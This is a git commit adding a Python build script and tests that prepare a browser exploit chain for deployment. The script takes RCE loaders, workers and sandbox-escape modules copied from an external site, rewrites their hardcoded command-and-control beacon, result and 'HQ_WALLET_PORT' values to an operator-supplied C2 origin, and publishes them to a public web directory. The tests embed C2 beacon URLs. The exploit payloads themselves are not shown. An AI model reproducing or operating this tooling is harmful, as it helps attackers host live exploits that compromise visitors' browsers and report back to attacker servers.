This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
+185
View File
@@ -0,0 +1,185 @@
#!/usr/bin/env python3
"""Rewrite hardcoded host literals in source/ to --c2 and publish → public/next-chain.
channel-builder-ds-new: 11-file exploit tree matching external globals-game.com/a18/.
Build does string replacement on hardcoded hosts (iy491j2ltb2i2sv.icu) → --c2 origin,
then copies source/ to public/next-chain. rce_loader.js derives the page directory
from location.pathname so the worker's desiredHost carries the /next-chain/ prefix,
making all getJS() calls resolve under the same base — no root-mirror needed.
php artisan ds:build-new --c2 http://192.168.31.130:8000
php artisan ds:build-new --c2 https://c2.example.com
"""
from __future__ import annotations
import argparse
import shutil
import sys
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urlparse
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
DEFAULT_SOURCE = BUILDER_ROOT / "source"
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
SKIP_PUBLISH = {"log.html"}
@dataclass(frozen=True)
class Endpoint:
host: str
port: int
origin: str
tls: bool
@property
def url(self) -> str:
return self.origin
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
parsed = urlparse((raw or "").strip())
if parsed.scheme not in ("http", "https") or not parsed.hostname:
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port])")
host = parsed.hostname
tls = parsed.scheme == "https"
port = parsed.port or (443 if tls else 80)
origin = f"{parsed.scheme}://{host}"
if not ((tls and port == 443) or (not tls and port == 80)):
origin += f":{port}"
return Endpoint(host=host, port=port, origin=origin, tls=tls)
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
"""Rewrite hardcoded host literals found in source/ → --c2 origin.
The only host present in the ds-new source tree is iy491j2ltb2i2sv.icu
(PE worker C2 URLs, embedded as escaped strings inside a webpack module
in pe_worker.js). Legacy hosts — muiu38.cc, nuhn93.cc, mh0usocqzi6f46i.com,
one99.vip, 192.168.31.130 — and all object-literal/port-only variants have
been removed; re-add them only if a source file actually starts using them.
Order matters: longer/more-specific strings first to avoid partial matches.
"""
return [
# --- iy491j2ltb2i2sv.icu: PE worker C2 beacon/result host (escaped in webpack string) ---
("https://iy491j2ltb2i2sv.icu/beacon", f"{c2.origin}/beacon"),
("https://iy491j2ltb2i2sv.icu/result", f"{c2.origin}/result"),
("https://iy491j2ltb2i2sv.icu", c2.origin),
# --- port: rewrite HQ_WALLET_PORT (escaped-quoted form inside webpack string) ---
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
# --- channel code: inject __CHANNEL_CODE__ (prepended by sbx1_main.js at runtime) ---
(
'const C2_CHANNEL_CODE = \\"\\"',
'const C2_CHANNEL_CODE = (typeof __CHANNEL_CODE__ !== \'undefined\' && __CHANNEL_CODE__) || \\"\\"',
),
]
def rewrite_text(text: str, c2: Endpoint) -> str:
for old, new in rewrite_pairs(c2):
if old != new:
text = text.replace(old, new)
return text
def rewrite_tree(root: Path, c2: Endpoint) -> int:
hits = 0
for path in root.rglob("*"):
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
continue
raw = path.read_text(encoding="utf-8")
new = rewrite_text(raw, c2)
if new != raw:
path.write_text(new, encoding="utf-8")
hits += 1
return hits
def publish(staging: Path, dest: Path) -> None:
dest = dest.resolve()
dest.parent.mkdir(parents=True, exist_ok=True)
tmp = dest.with_name(dest.name + ".building")
old = dest.with_name(dest.name + ".old")
if tmp.exists():
shutil.rmtree(tmp)
def ignore(directory: str, names: list[str]) -> set[str]:
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
return skip
shutil.copytree(staging, tmp, ignore=ignore)
if dest.exists():
if old.exists():
shutil.rmtree(old)
dest.rename(old)
try:
tmp.rename(dest)
except OSError:
dest.rename(tmp.with_name(dest.name + ".restore"))
raise
shutil.rmtree(old)
else:
tmp.rename(dest)
def build(
source: Path,
dest: Path,
c2: str,
dry_run: bool = False,
) -> dict:
if not source.is_dir():
raise SystemExit(f"source not found: {source}")
c2_ep = parse_endpoint(c2, label="--c2")
if dry_run:
return {"c2": c2_ep.origin}
staging = BUILDER_ROOT / "out" / "staging"
if staging.exists():
shutil.rmtree(staging)
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
rewrite_tree(staging, c2_ep)
publish(staging, dest)
shutil.rmtree(staging, ignore_errors=True)
return {"c2": c2_ep.origin, "dest": str(dest.resolve())}
def main(argv: list[str] | None = None) -> int:
ap = argparse.ArgumentParser(description="Rewrite hardcoded hosts to --c2 and publish source/ → public/next-chain")
ap.add_argument("--c2", default="", help="C2 origin, e.g. http://192.168.31.130:8000")
ap.add_argument("--origin", default="", help="alias of --c2")
ap.add_argument("--delivery", default="", help="(ignored, kept for backward compat)")
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args(argv)
c2 = (args.c2 or args.origin or "").strip()
if not c2:
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
result = build(
args.source,
args.dest,
c2,
dry_run=args.dry_run,
)
print("dry-run" if args.dry_run else "published")
print(f" c2 {result['c2']}")
if result.get("dest"):
print(f" dest {result['dest']}")
return 0
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,88 @@
#!/usr/bin/env python3
from __future__ import annotations
import shutil
import sys
import tempfile
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
import build # noqa: E402
class BuildTest(unittest.TestCase):
def setUp(self) -> None:
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
self.source = self.tmp / "source"
self.dest = self.tmp / "next-chain"
self.source.mkdir(parents=True)
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
(self.source / "pe_worker.js").write_text(
'const C2 = "https://nuhn93.cc:443/beacon";\n'
'function p7(){ return { host: "nuhn93.cc", port: 443 }; }\n',
encoding="utf-8",
)
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
def tearDown(self) -> None:
shutil.rmtree(self.tmp, ignore_errors=True)
def test_rewrites_c2_and_publishes(self) -> None:
before = (self.source / "pe_worker.js").read_text(encoding="utf-8")
result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
self.assertEqual((self.source / "pe_worker.js").read_text(encoding="utf-8"), before)
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn("http://192.168.31.130:8000/beacon", worker)
self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
self.assertFalse((self.dest / "log.html").exists())
def test_https_c2(self) -> None:
build.build(self.source, self.dest, "https://c2.example.com")
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn("https://c2.example.com/beacon", worker)
self.assertIn('{ host: "c2.example.com", port: 443 }', worker)
def test_parse_endpoint(self) -> None:
ep = build.parse_endpoint("https://lab.example:8443", label="--c2")
self.assertEqual(ep.host, "lab.example")
self.assertEqual(ep.port, 8443)
self.assertEqual(ep.origin, "https://lab.example:8443")
self.assertEqual(ep.url, "https://lab.example:8443")
def test_source_files_match_external(self) -> None:
"""All 11 source files must come from globals-game.com/a18/ (external)."""
root = TOOLS.parent / "source"
expected = [
"frame.html", "pe_worker.js", "rce_loader.js",
"rce_module.js", "rce_module_18.6.js", "rce_module_18.7.js",
"rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js",
"sbx0_main_18.4.js", "sbx1_main.js",
]
for fname in expected:
self.assertTrue((root / fname).is_file(), f"missing {fname}")
def test_workers_have_addIframe_prefetch(self) -> None:
"""All worker/PE/SBX files must NOT have the redundant _addIframe() prefetch block."""
root = TOOLS.parent / "source"
for fname in ("rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js",
"pe_worker.js", "sbx0_main_18.4.js", "sbx1_main.js"):
text = (root / fname).read_text(encoding="utf-8")
self.assertNotIn("_addIframe", text, f"{fname} must not have _addIframe prefetch")
self.assertNotIn("group.html", text, f"{fname} must not reference group.html")
def test_rce_loader_has_pickLiveBand(self) -> None:
"""rce_loader.js must have pickLiveBand (external version, not our old logic)."""
root = TOOLS.parent / "source"
loader = (root / "rce_loader.js").read_text(encoding="utf-8")
self.assertIn("pickLiveBand", loader)
self.assertIn("location.origin", loader)
if __name__ == "__main__":
unittest.main()